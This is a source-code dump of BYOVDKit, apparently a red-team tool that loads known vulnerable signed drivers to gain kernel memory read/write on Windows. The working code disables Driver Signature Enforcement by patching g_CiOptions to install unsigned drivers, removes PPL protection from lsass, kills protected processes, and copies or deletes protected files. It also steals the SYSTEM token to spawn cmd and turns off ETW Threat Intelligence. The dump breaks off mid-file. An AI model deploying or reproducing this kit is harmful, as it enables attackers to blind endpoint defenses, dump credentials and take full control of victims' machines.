├── BYOVDKit ├── BYOVDKit.sln └── BYOVDKit │ ├── BYOVDKit.cpp │ ├── BYOVDKit.vcxproj │ ├── BYOVDKit.vcxproj.filters │ ├── BYOVDKit.vcxproj.user │ ├── DIsableDSE.cpp │ ├── DisableDSE.h │ ├── DisableEtwTi.cpp │ ├── DisableEtwTi.h │ ├── DisablePPL.cpp │ ├── DisablePPL.h │ ├── DriverOps.cpp │ ├── DriverOps.h │ ├── FindOffset.cpp │ ├── FindOffset.h │ ├── Global.h │ ├── HandleElevate.cpp │ ├── HandleElevate.h │ ├── TokenCopy.cpp │ ├── TokenCopy.h │ ├── hde64.h │ └── helpers.h ├── Drivers ├── RTCore64.sys ├── dbutil_2_3.sys └── gdrv.sys └── README.md /BYOVDKit/BYOVDKit.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.2.32505.173 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "BYOVDKit", "BYOVDKit\BYOVDKit.vcxproj", "{90FC2068-7DD5-490D-A119-D876B7C44FF4}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|x64 = Debug|x64 11 | Debug|x86 = Debug|x86 12 | Release|x64 = Release|x64 13 | Release|x86 = Release|x86 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {90FC2068-7DD5-490D-A119-D876B7C44FF4}.Debug|x64.ActiveCfg = Debug|x64 17 | {90FC2068-7DD5-490D-A119-D876B7C44FF4}.Debug|x64.Build.0 = Debug|x64 18 | {90FC2068-7DD5-490D-A119-D876B7C44FF4}.Debug|x86.ActiveCfg = Debug|Win32 19 | {90FC2068-7DD5-490D-A119-D876B7C44FF4}.Debug|x86.Build.0 = Debug|Win32 20 | {90FC2068-7DD5-490D-A119-D876B7C44FF4}.Release|x64.ActiveCfg = Release|x64 21 | {90FC2068-7DD5-490D-A119-D876B7C44FF4}.Release|x64.Build.0 = Release|x64 22 | {90FC2068-7DD5-490D-A119-D876B7C44FF4}.Release|x86.ActiveCfg = Release|Win32 23 | {90FC2068-7DD5-490D-A119-D876B7C44FF4}.Release|x86.Build.0 = Release|Win32 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {92CBEAF4-D510-4C01-970F-EFFE2362CAB7} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /BYOVDKit/BYOVDKit/BYOVDKit.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | 8 | #include "FindOffset.h" 9 | #include "DriverOps.h" 10 | #include "DisablePPL.h" 11 | #include "TokenCopy.h" 12 | #include "HandleElevate.h" 13 | #include "DisableDSE.h" 14 | #include "DisableEtwTi.h" 15 | 16 | 17 | int processPIDByName(const WCHAR* name) { 18 | int pid = 0; 19 | 20 | // Create a snapshot of currently running processes 21 | HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); 22 | 23 | if (snap == INVALID_HANDLE_VALUE) { 24 | printf("CreateToolhelp32Snapshot error: 0x%08x\n", GetLastError()); 25 | return 0; 26 | } 27 | 28 | PROCESSENTRY32 pe32; 29 | pe32.dwSize = sizeof(PROCESSENTRY32); 30 | 31 | // Retrieve information about the first process and exit if unsuccessful 32 | if (!Process32First(snap, &pe32)) { 33 | printf("Process32First error: 0x%08x\n", GetLastError()); 34 | CloseHandle(snap); 35 | } 36 | 37 | do { 38 | if (wcscmp(pe32.szExeFile, name) == 0) { 39 | pid = pe32.th32ProcessID; 40 | } 41 | 42 | } while (Process32Next(snap, &pe32)); 43 | 44 | // Clean the snapshot object to prevent resource leakage 45 | CloseHandle(snap); 46 | return pid; 47 | 48 | } 49 | 50 | 51 | void printHelp() { 52 | printf( 53 | "BYOVDKit\n" 54 | "More info: https://github.com/Hagrid29/BYOVDKit/\n" 55 | ); 56 | printf( 57 | ".\\BYOVDKit.exe \n" 58 | "\t - 0: Undefined, 1: DBUtil_2_3, 2: RTCore64, 3: GIGABYTE. Default DBUtil_2_3\n" 59 | "Options:\n" 60 | "Install Driver: installDrv [service name]\n" 61 | "Uninstall Driver: uninstallDrv \n" 62 | "PPL options: PPL [PID]\n" 63 | "\t[PID] - default check or disable LSA protection\n" 64 | "PPL options: PPL enable [ ]\n" 65 | "\t[PP/PPL] - default PPL\n" 66 | "\t[signer type] - default WinTcb\n" 67 | "DSE options: DSE \n" 68 | "DSE options: DSE installUnsignDrv \n" 69 | "\tinstallUnsignDrv - Install Unsigned Driver and revert DSE setting\n" 70 | "Copy protected file: copy \n" 71 | "Delete protected file: delete \n" 72 | "Terminate protected process: kill \n" 73 | "Copy Token: token [target PID]\n" 74 | "\t[source PID] - input 4 to copy SYSTEM token\n" 75 | "\t[target PID] - default spawn cmd\n" 76 | "EtwTi options: ETW \n" 77 | ); 78 | return; 79 | } 80 | 81 | 82 | int wmain(int argc, wchar_t* argv[]) 83 | { 84 | 85 | if (argc < 3) { 86 | printHelp(); 87 | return 0; 88 | } 89 | DRIVER_OPTION dvr_opt; 90 | switch (wcstoul(argv[1], nullptr, 10)) { 91 | case 0: 92 | dvr_opt = undefined; 93 | printf("Using undefined driver\n"); 94 | break; 95 | case 1: 96 | dvr_opt = DBUtil_2_3; 97 | printf("Using driver DBUtil_2_3\n"); 98 | break; 99 | case 2: 100 | dvr_opt = RTCore64; 101 | printf("Using driver RTCore64\n"); 102 | break; 103 | case 3: 104 | dvr_opt = GIO; 105 | printf("Using driver GIO\n"); 106 | break; 107 | default: 108 | dvr_opt = DBUtil_2_3; 109 | printf("Using driver DBUtil_2_3\n"); 110 | break; 111 | } 112 | 113 | if (wcscmp(argv[2], L"installDrv") == 0) { 114 | PCWSTR binPath = argv[3]; 115 | if (argc == 5) { 116 | if (!ServiceInstall(dvr_opt, binPath, argv[4])) { 117 | ServiceUninstall(dvr_opt, argv[4]); 118 | } 119 | } 120 | else { 121 | if (!ServiceInstall(dvr_opt, binPath)) { 122 | ServiceUninstall(dvr_opt); 123 | } 124 | } 125 | return 0; 126 | } 127 | if (wcscmp(argv[2], L"uninstallDrv") == 0) { 128 | if (argc == 4) { 129 | ServiceUninstall(dvr_opt, argv[3]); 130 | } 131 | else { 132 | ServiceUninstall(dvr_opt); 133 | } 134 | return 0; 135 | } 136 | 137 | 138 | InitOffsets(); 139 | if (!InitDriver(dvr_opt)) { 140 | printf("Unable to obtain a handle to the device object: 0x%08x\n", GetLastError()); 141 | return 0; 142 | } 143 | 144 | 145 | if (wcscmp(argv[2], L"PPL") == 0) { 146 | DWORD dwPid = processPIDByName(L"lsass.exe"); 147 | if (argc > 4) { 148 | dwPid = wcstoul(argv[4], nullptr, 10); 149 | } 150 | if (wcscmp(argv[3], L"check") == 0) { 151 | GetProcessProtection(dwPid); 152 | } 153 | else if (wcscmp(argv[3], L"enable") == 0) { 154 | if (argc < 5) { 155 | printHelp(); 156 | return 0; 157 | } 158 | if(argc == 7) 159 | SetProcessProtection(dwPid, argv[5], argv[6]); 160 | else 161 | SetProcessProtection(dwPid, L"PPL", L"WinTcb"); 162 | } 163 | else if (wcscmp(argv[3], L"disable") == 0) { 164 | UnprotectProcess(dwPid); 165 | } 166 | } 167 | if (wcscmp(argv[2], L"DSE") == 0) { 168 | if (wcscmp(argv[3], L"check") == 0) { 169 | GetDSE(); 170 | } 171 | else if (wcscmp(argv[3], L"enable") == 0) { 172 | DSE_MODE mode = Enable; 173 | SetDSE(mode); 174 | } 175 | else if (wcscmp(argv[3], L"disable") == 0) { 176 | DSE_MODE mode = Disable; 177 | SetDSE(mode); 178 | } 179 | else if (wcscmp(argv[3], L"installUnsignDrv") == 0) { 180 | if (argc < 6) { 181 | printHelp(); 182 | return 0; 183 | } 184 | DSE_MODE oriMode = GetDSE(); 185 | if (oriMode == Error) 186 | return 0; 187 | DSE_MODE mode = Disable; 188 | SetDSE(mode); 189 | ServiceInstall(dvr_opt, argv[4], argv[5]); 190 | SetDSE(oriMode); 191 | } 192 | } 193 | if (wcscmp(argv[2], L"copy") == 0) { 194 | CopyProtectedFile(argv[3]); 195 | } 196 | if (wcscmp(argv[2], L"delete") == 0) { 197 | DeleteProtectedFile(argv[3]); 198 | 199 | } 200 | if (wcscmp(argv[2], L"kill") == 0) { 201 | TerminateProtectedProcess(wcstoul(argv[3], nullptr, 10)); 202 | } 203 | if (wcscmp(argv[2], L"token") == 0) { 204 | DWORD dwSrcPid = wcstoul(argv[3], nullptr, 10); 205 | DWORD dwDstPid = GetCurrentProcessId(); 206 | if (argc == 5) { 207 | dwDstPid = wcstoul(argv[4], nullptr, 10); 208 | } 209 | CopyToken(dwSrcPid, dwDstPid); 210 | if (argc < 5) { 211 | STARTUPINFOW StartupInfo{}; 212 | StartupInfo.cb = sizeof(StartupInfo); 213 | PROCESS_INFORMATION ProcessInformation; 214 | 215 | CreateProcessW(LR"(C:\Windows\System32\cmd.exe)", 216 | nullptr, nullptr, nullptr, FALSE, 0, nullptr, nullptr, 217 | &StartupInfo, 218 | &ProcessInformation); 219 | WaitForSingleObject(ProcessInformation.hProcess, INFINITE); 220 | CloseHandle(ProcessInformation.hThread); 221 | CloseHandle(ProcessInformation.hProcess); 222 | } 223 | } 224 | if (wcscmp(argv[2], L"ETW") == 0) { 225 | if (wcscmp(argv[3], L"enable") == 0) 226 | SetEtwTi(true); 227 | else if (wcscmp(argv[3], L"disable") == 0) 228 | SetEtwTi(false); 229 | else if(wcscmp(argv[3], L"check") == 0) 230 | ReadEtwTi(); 231 | } 232 | 233 | 234 | CloseDriverHandle(); 235 | 236 | return 0; 237 | } 238 | -------------------------------------------------------------------------------- /BYOVDKit/BYOVDKit/BYOVDKit.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 16.0 23 | Win32Proj 24 | {90fc2068-7dd5-490d-a119-d876b7c44ff4} 25 | OffsetCalc 26 | 10.0 27 | BYOVDKit 28 | 29 | 30 | 31 | Application 32 | true 33 | v143 34 | Unicode 35 | 36 | 37 | Application 38 | false 39 | v143 40 | true 41 | Unicode 42 | 43 | 44 | Application 45 | true 46 | v143 47 | Unicode 48 | 49 | 50 | Application 51 | false 52 | v143 53 | true 54 | Unicode 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | Level3 77 | true 78 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 79 | true 80 | 81 | 82 | Console 83 | true 84 | 85 | 86 | 87 | 88 | Level3 89 | true 90 | true 91 | true 92 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 93 | true 94 | 95 | 96 | Console 97 | true 98 | true 99 | true 100 | 101 | 102 | 103 | 104 | Level3 105 | true 106 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 107 | true 108 | 109 | 110 | Console 111 | true 112 | 113 | 114 | 115 | 116 | Level3 117 | true 118 | true 119 | true 120 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 121 | true 122 | 123 | 124 | Console 125 | true 126 | true 127 | true 128 | $(CoreLibraryDependencies);%(AdditionalDependencies);ntdll.lib 129 | 130 | 131 | 132 | 133 | 134 | 135 | 136 | 137 | 138 | 139 | 140 | 141 | 142 | 143 | 144 | 145 | 146 | 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | -------------------------------------------------------------------------------- /BYOVDKit/BYOVDKit/BYOVDKit.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Source Files 20 | 21 | 22 | Source Files 23 | 24 | 25 | Source Files 26 | 27 | 28 | Source Files 29 | 30 | 31 | Source Files 32 | 33 | 34 | Source Files 35 | 36 | 37 | Source Files 38 | 39 | 40 | Source Files 41 | 42 | 43 | 44 | 45 | Header Files 46 | 47 | 48 | Header Files 49 | 50 | 51 | Header Files 52 | 53 | 54 | Header Files 55 | 56 | 57 | Header Files 58 | 59 | 60 | Header Files 61 | 62 | 63 | Header Files 64 | 65 | 66 | Header Files 67 | 68 | 69 | Header Files 70 | 71 | 72 | -------------------------------------------------------------------------------- /BYOVDKit/BYOVDKit/BYOVDKit.vcxproj.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | -------------------------------------------------------------------------------- /BYOVDKit/BYOVDKit/DIsableDSE.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include "DriverOps.h" 4 | #include "DisableDSE.h" 5 | #include "helpers.h" 6 | #include "hde64.h" 7 | 8 | 9 | 10 | ULONG GetBuildNumber() { 11 | 12 | static auto RtlGetVersion = (RtlGetVersion_t)GetProcAddress(GetModuleHandle(TEXT("NTDLL")), "RtlGetVersion"); 13 | 14 | OSVERSIONINFOW osv; 15 | 16 | cZeroMemory(&osv, sizeof(osv)); 17 | osv.dwOSVersionInfoSize = sizeof(osv); 18 | RtlGetVersion(&osv); 19 | 20 | if ((osv.dwMajorVersion < 6) || (osv.dwMajorVersion == 6 && osv.dwMinorVersion == 0) || (osv.dwBuildNumber <= 7600)) {//NalDrv requires build 7601 or newer 21 | printf("Unsupported WinNT version"); 22 | return 0; 23 | } 24 | return osv.dwBuildNumber; 25 | } 26 | 27 | PVOID GetLoadedModulesList(PULONG ReturnLength) { 28 | NTSTATUS status; 29 | PVOID buffer; 30 | ULONG bufferSize = PAGE_SIZE; 31 | PRTL_PROCESS_MODULES pvModules; 32 | SYSTEM_INFORMATION_CLASS infoClass; 33 | 34 | if (ReturnLength) 35 | *ReturnLength = 0; 36 | 37 | //infoClass = SystemModuleInformation; 38 | infoClass = (SYSTEM_INFORMATION_CLASS)11; 39 | 40 | buffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (SIZE_T)bufferSize); 41 | if (buffer == NULL) 42 | return NULL; 43 | 44 | status = NtQuerySystemInformation(infoClass, buffer, bufferSize, &bufferSize); 45 | if (status == STATUS_INFO_LENGTH_MISMATCH) { 46 | HeapFree(GetProcessHeap(), 0, buffer); 47 | buffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (SIZE_T)bufferSize); 48 | status = NtQuerySystemInformation(infoClass, buffer, bufferSize, &bufferSize); 49 | } 50 | 51 | if (ReturnLength) 52 | *ReturnLength = bufferSize; 53 | 54 | if (!NT_SUCCESS(status)) { 55 | if (status == STATUS_BUFFER_OVERFLOW) { 56 | pvModules = (PRTL_PROCESS_MODULES)buffer; 57 | if (pvModules->NumberOfModules != 0) 58 | return buffer; 59 | } 60 | printf("Could not query system information: %lx", status); 61 | //return NULL; 62 | } 63 | else { 64 | return buffer; 65 | } 66 | 67 | if (buffer) 68 | HeapFree(GetProcessHeap(), 0, buffer); 69 | 70 | return NULL; 71 | } 72 | 73 | ULONG_PTR GetModuleBaseByName(const char* ModuleName, PULONG ImageSize) { 74 | ULONG_PTR returnAddress = 0; 75 | PRTL_PROCESS_MODULES modules; 76 | 77 | if (ImageSize) 78 | *ImageSize = 0; 79 | 80 | modules = (PRTL_PROCESS_MODULES)GetLoadedModulesList(NULL); 81 | if (modules != NULL) { 82 | for (ULONG i = 0; i < modules->NumberOfModules; i++) { 83 | 84 | if (strcmp((const CHAR*)&modules->Modules[i].FullPathName + modules->Modules[i].OffsetToFileName, ModuleName) == 0) { 85 | returnAddress = (ULONG_PTR)modules->Modules[i].ImageBase; 86 | if (ImageSize) 87 | *ImageSize = modules->Modules[i].ImageSize; 88 | break; 89 | } 90 | } 91 | HeapFree(GetProcessHeap(), 0, modules); 92 | } 93 | return returnAddress; 94 | } 95 | 96 | NTSTATUS QueryImageSize(PVOID ImageBase, PSIZE_T ImageSize) { 97 | NTSTATUS status; 98 | LDR_DATA_TABLE_ENTRY* ldrEntry = NULL; 99 | 100 | *ImageSize = 0; 101 | static auto LdrFindEntryForAddress = (LdrFindEntryForAddress_t)GetProcAddress(GetModuleHandle(TEXT("NTDLL")), "LdrFindEntryForAddress"); 102 | status = LdrFindEntryForAddress(ImageBase, &ldrEntry); 103 | 104 | if (NT_SUCCESS(status)) { 105 | *ImageSize = (ULONG)ldrEntry->Reserved3[1]; //sizeofimage 106 | } 107 | return status; 108 | } 109 | 110 | NTSTATUS QueryCiEnabled(HMODULE ImageMappedBase, ULONG_PTR ImageLoadedBase, ULONG_PTR* ResolvedAddress, SIZE_T SizeOfImage) { 111 | NTSTATUS status = STATUS_UNSUCCESSFUL; 112 | SIZE_T c; 113 | LONG rel = 0; 114 | 115 | *ResolvedAddress = 0; 116 | 117 | for (c = 0; c < SizeOfImage - sizeof(DWORD); c++) { 118 | if (*(PDWORD)((PBYTE)ImageMappedBase + c) == (0xec40375 * 0x2 + 0x1)) {//0x1d8806eb 119 | rel = *(PLONG)((PBYTE)ImageMappedBase + c + 4); 120 | *ResolvedAddress = ImageLoadedBase + c + 8 + rel; 121 | status = STATUS_SUCCESS; 122 | break; 123 | } 124 | } 125 | return status; 126 | } 127 | 128 | ULONG CheckInstructionBlock(PBYTE Code, ULONG Offset) { 129 | ULONG offset = Offset; 130 | hde64s hs; 131 | 132 | cZeroMemory(&hs, sizeof(hs)); 133 | 134 | hde64_disasm(&Code[offset], &hs); 135 | if (hs.flags & F_ERROR) 136 | return 0; 137 | if (hs.len != 3) 138 | return 0; 139 | 140 | // mov r9, rbx 141 | if (Code[offset] != 0x4C || Code[offset + 1] != 0x8B) { 142 | return 0; 143 | } 144 | 145 | offset += hs.len; 146 | 147 | hde64_disasm(&Code[offset], &hs); 148 | if (hs.flags & F_ERROR) 149 | return 0; 150 | if (hs.len != 3) 151 | return 0; 152 | 153 | // mov r8, rdi 154 | if (Code[offset] != 0x4C || Code[offset + 1] != 0x8B) { 155 | return 0; 156 | } 157 | 158 | offset += hs.len; 159 | 160 | hde64_disasm(&Code[offset], &hs); 161 | if (hs.flags & F_ERROR) 162 | return 0; 163 | if (hs.len != 3) 164 | return 0; 165 | 166 | // mov rdx, rsi 167 | if (Code[offset] != 0x48 || Code[offset + 1] != 0x8B) { 168 | return 0; 169 | } 170 | 171 | offset += hs.len; 172 | 173 | hde64_disasm(&Code[offset], &hs); 174 | if (hs.flags & F_ERROR) 175 | return 0; 176 | if (hs.len != 2) 177 | return 0; 178 | 179 | // mov ecx, ebp 180 | if (Code[offset] != 0x8B || Code[offset + 1] != 0xCD) { 181 | return 0; 182 | } 183 | return offset + hs.len; 184 | } 185 | 186 | 187 | NTSTATUS QueryCiOptions(HMODULE ImageMappedBase, ULONG_PTR ImageLoadedBase, ULONG_PTR* ResolvedAddress, ULONG buildNumber) { 188 | PBYTE ptrCode = NULL; 189 | ULONG offset, k, expectedLength; 190 | LONG relativeValue = 0; 191 | ULONG_PTR resolvedAddress = 0; 192 | 193 | hde64s hs; 194 | 195 | *ResolvedAddress = 0ULL; 196 | 197 | ptrCode = (PBYTE)GetProcAddress(ImageMappedBase, "CiInitialize"); 198 | if (ptrCode == NULL) 199 | return STATUS_PROCEDURE_NOT_FOUND; 200 | 201 | cZeroMemory(&hs, sizeof(hs)); 202 | offset = 0; 203 | 204 | if (buildNumber < 16299) { 205 | expectedLength = 5; 206 | 207 | do { 208 | hde64_disasm(&ptrCode[offset], &hs); 209 | if (hs.flags & F_ERROR) 210 | break; 211 | 212 | if (hs.len == expectedLength) { //test if jmp 213 | // jmp CipInitialize 214 | if (ptrCode[offset] == 0xE9) { 215 | relativeValue = *(PLONG)(ptrCode + offset + 1); 216 | break; 217 | } 218 | } 219 | offset += hs.len; 220 | } while (offset < 256); 221 | } 222 | else { 223 | expectedLength = 3; 224 | 225 | do { 226 | hde64_disasm(&ptrCode[offset], &hs); 227 | if (hs.flags & F_ERROR) 228 | break; 229 | 230 | if (hs.len == expectedLength) { 231 | // Parameters for the CipInitialize. 232 | k = CheckInstructionBlock(ptrCode, offset); 233 | 234 | if (k != 0) { 235 | expectedLength = 5; 236 | hde64_disasm(&ptrCode[k], &hs); 237 | if (hs.flags & F_ERROR) 238 | break; 239 | // call CipInitialize 240 | if (hs.len == expectedLength) { 241 | if (ptrCode[k] == 0xE8) { 242 | offset = k; 243 | relativeValue = *(PLONG)(ptrCode + k + 1); 244 | break; 245 | } 246 | } 247 | } 248 | } 249 | offset += hs.len; 250 | } while (offset < 256); 251 | } 252 | 253 | if (relativeValue == 0) 254 | return STATUS_UNSUCCESSFUL; 255 | 256 | ptrCode = ptrCode + offset + hs.len + relativeValue; 257 | relativeValue = 0; 258 | offset = 0; 259 | expectedLength = 6; 260 | 261 | do { 262 | hde64_disasm(&ptrCode[offset], &hs); 263 | if (hs.flags & F_ERROR) 264 | break; 265 | 266 | if (hs.len == expectedLength) { //test if mov 267 | if (*(PUSHORT)(ptrCode + offset) == 0x0d89) { 268 | relativeValue = *(PLONG)(ptrCode + offset + 2); 269 | break; 270 | } 271 | } 272 | offset += hs.len; 273 | } while (offset < 256); 274 | 275 | if (relativeValue == 0) 276 | return STATUS_UNSUCCESSFUL; 277 | 278 | 279 | ptrCode = ptrCode + offset + hs.len + relativeValue; 280 | resolvedAddress = ImageLoadedBase + ptrCode - (PBYTE)ImageMappedBase; 281 | 282 | *ResolvedAddress = resolvedAddress; 283 | return STATUS_SUCCESS; 284 | } 285 | 286 | ULONG_PTR AnalyzeCi() 287 | { 288 | 289 | ULONG buildNumber = GetBuildNumber(); 290 | 291 | NTSTATUS status; 292 | ULONG loadedImageSize = 0; 293 | SIZE_T sizeOfImage = 0; 294 | ULONG_PTR result = 0, imageLoadedBase, kernelAddress = 0; 295 | const char* moduleNameA = NULL; 296 | PCWSTR moduleNameW = NULL; 297 | HMODULE mappedImageBase; 298 | 299 | 300 | if (buildNumber < 9600) {//WIN8 301 | moduleNameA = "ntoskrnl.exe"; 302 | moduleNameW = L"ntoskrnl.exe"; 303 | } 304 | else { 305 | moduleNameA = "CI.dll"; 306 | moduleNameW = L"CI.dll"; 307 | } 308 | 309 | imageLoadedBase = GetModuleBaseByName(moduleNameA, &loadedImageSize); 310 | if (imageLoadedBase == 0) { 311 | printf("Could not query %s image base", moduleNameA); 312 | return 0; 313 | } 314 | 315 | WCHAR szFullModuleName[MAX_PATH * 2]; 316 | szFullModuleName[0] = 0; 317 | if (!GetSystemDirectoryW(szFullModuleName, MAX_PATH)) 318 | return 0; 319 | 320 | wcscat_s(szFullModuleName, MAX_PATH * 2, L"\\"); 321 | wcscat_s(szFullModuleName, MAX_PATH * 2, moduleNameW); 322 | 323 | mappedImageBase = LoadLibraryExW(szFullModuleName, NULL, DONT_RESOLVE_DLL_REFERENCES); 324 | 325 | if (mappedImageBase) { 326 | 327 | if (buildNumber < 9600) { 328 | status = QueryImageSize(mappedImageBase, &sizeOfImage); 329 | if (NT_SUCCESS(status)) { 330 | status = QueryCiEnabled(mappedImageBase, imageLoadedBase, &kernelAddress, sizeOfImage); 331 | } 332 | } 333 | else { 334 | status = QueryCiOptions(mappedImageBase, imageLoadedBase, &kernelAddress, buildNumber); 335 | } 336 | 337 | if (NT_SUCCESS(status)) { 338 | if (IN_REGION(kernelAddress, imageLoadedBase, loadedImageSize)) { 339 | result = kernelAddress; 340 | } 341 | else { 342 | printf("Resolved address 0x%llx does not belong to required module", kernelAddress); 343 | } 344 | } 345 | else { 346 | printf("Failed to locate kernel variable address: %lx", status); 347 | } 348 | FreeLibrary(mappedImageBase); 349 | 350 | } 351 | else { 352 | printf("Could not load %s", moduleNameA); 353 | } 354 | return result; 355 | } 356 | 357 | 358 | DSE_MODE GetDSE() { 359 | ULONG_PTR gCiOptionsAddress = AnalyzeCi(); 360 | ULONG OldCiOptionsValue; 361 | DSE_MODE mode; 362 | if (!Read32(gCiOptionsAddress, &OldCiOptionsValue)) { 363 | return Error; 364 | } 365 | 366 | switch (OldCiOptionsValue) { 367 | case 0x0: 368 | printf("Current DSE mode: Disabled\n"); 369 | return Disable; 370 | break; 371 | case 0x6: 372 | printf("Current DSE mode: Enabled\n"); 373 | return Enable; 374 | break; 375 | case 0x8: 376 | printf("Current DSE mode: Test\n"); 377 | return Test; 378 | break; 379 | } 380 | 381 | return Error; 382 | } 383 | 384 | bool SetDSE(DSE_MODE mode) { 385 | 386 | ULONG_PTR gCiOptionsAddress = AnalyzeCi(); 387 | 388 | switch (mode) { 389 | case Disable: 390 | printf("Attempt to set DSE mode to Disabled\n"); 391 | break; 392 | case Enable: 393 | printf("Attempt to set DSE mode to Enabled\n"); 394 | break; 395 | case Test: 396 | printf("Attempt to set DSE mode to Test\n"); 397 | break; 398 | } 399 | 400 | if (!Write32(gCiOptionsAddress, mode)) { 401 | return false; 402 | } 403 | 404 | return true; 405 | } -------------------------------------------------------------------------------- /BYOVDKit/BYOVDKit/DisableDSE.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | 6 | // defs 7 | #ifndef IN_REGION 8 | #define IN_REGION(x, Base, Size) (((ULONG_PTR)(x) >= (ULONG_PTR)(Base)) && ((ULONG_PTR)(x) <= (ULONG_PTR)(Base) + (ULONG_PTR)(Size))) 9 | #endif 10 | #define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0) 11 | #define OBJ_CASE_INSENSITIVE 0x00000040L 12 | #define FILE_OPEN_IF 0x00000003 13 | #define FILE_SYNCHRONOUS_IO_NONALERT 0x00000020 14 | #define STATUS_SUCCESS 0x00000000 15 | #define STATUS_UNSUCCESSFUL 0xC0000001 16 | #define STATUS_IMAGE_ALREADY_LOADED 0xC000010EL 17 | #define STATUS_OBJECT_NAME_COLLISION 0xC0000035L 18 | #define STATUS_OBJECT_NAME_EXISTS 0x4000000L 19 | #define PAGE_SIZE 0x1000ull 20 | #define STATUS_INFO_LENGTH_MISMATCH 0xC0000004L 21 | #define STATUS_BUFFER_OVERFLOW 0x80000005L 22 | #define STATUS_PROCEDURE_NOT_FOUND 0xC000007AL 23 | #define VM_LOCK_1 0x0001 24 | #define FILE_OPEN 0x00000001 25 | #define STATUS_INSUFFICIENT_RESOURCES 0xC000009AL 26 | 27 | 28 | 29 | 30 | 31 | typedef struct _RTL_PROCESS_MODULE_INFORMATION { 32 | HANDLE Section; 33 | PVOID MappedBase; 34 | PVOID ImageBase; 35 | ULONG ImageSize; 36 | ULONG Flags; 37 | USHORT LoadOrderIndex; 38 | USHORT InitOrderIndex; 39 | USHORT LoadCount; 40 | USHORT OffsetToFileName; 41 | UCHAR FullPathName[256]; 42 | } RTL_PROCESS_MODULE_INFORMATION, * PRTL_PROCESS_MODULE_INFORMATION; 43 | 44 | typedef struct _RTL_PROCESS_MODULES { 45 | ULONG NumberOfModules; 46 | RTL_PROCESS_MODULE_INFORMATION Modules[1]; 47 | } RTL_PROCESS_MODULES, * PRTL_PROCESS_MODULES; 48 | 49 | 50 | typedef NTSTATUS(NTAPI* RtlGetVersion_t)(_Out_ PRTL_OSVERSIONINFOW lpVersionInformation); 51 | typedef NTSTATUS(NTAPI* LdrFindEntryForAddress_t)(PVOID, PLDR_DATA_TABLE_ENTRY*); 52 | typedef NTSTATUS(NTAPI* NtAllocateVirtualMemory_t)( 53 | _In_ HANDLE ProcessHandle, 54 | _Inout_ PVOID* BaseAddress, 55 | _In_ ULONG_PTR ZeroBits, 56 | _Inout_ PSIZE_T RegionSize, 57 | _In_ ULONG AllocationType, 58 | _In_ ULONG Protect 59 | ); 60 | typedef NTSTATUS(NTAPI* NtLockVirtualMemory_t)( 61 | IN HANDLE ProcessHandle, 62 | IN PVOID* BaseAddress, 63 | IN OUT PULONG NumberOfBytesToLock, 64 | IN ULONG LockOption 65 | ); 66 | typedef NTSTATUS(NTAPI* NtUnlockVirtualMemory_t)( 67 | IN HANDLE ProcessHandle, 68 | IN PVOID* BaseAddress, 69 | IN OUT PULONG NumberOfBytesToUnlock, 70 | IN ULONG LockType 71 | ); 72 | typedef NTSTATUS(NTAPI* NtFreeVirtualMemory_t)( 73 | IN HANDLE ProcessHandle, 74 | IN PVOID* BaseAddress, 75 | IN OUT PULONG RegionSize, 76 | IN ULONG FreeType 77 | ); 78 | 79 | typedef enum DSE_MODE 80 | { 81 | Disable = 0x0, 82 | Enable = 0x6, 83 | Test = 0x8, 84 | Error = 0x999 85 | }; 86 | 87 | ULONG GetBuildNumber(); 88 | ULONG_PTR AnalyzeCi(); 89 | bool SetDSE(DSE_MODE mode); 90 | DSE_MODE GetDSE(); 91 | -------------------------------------------------------------------------------- /BYOVDKit/BYOVDKit/DisableEtwTi.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include "DriverOps.h" 4 | #include "FindOffset.h" 5 | #include "DisableEtwTi.h" 6 | 7 | 8 | void SetEtwTi(BOOL Enable) { 9 | DWORD64 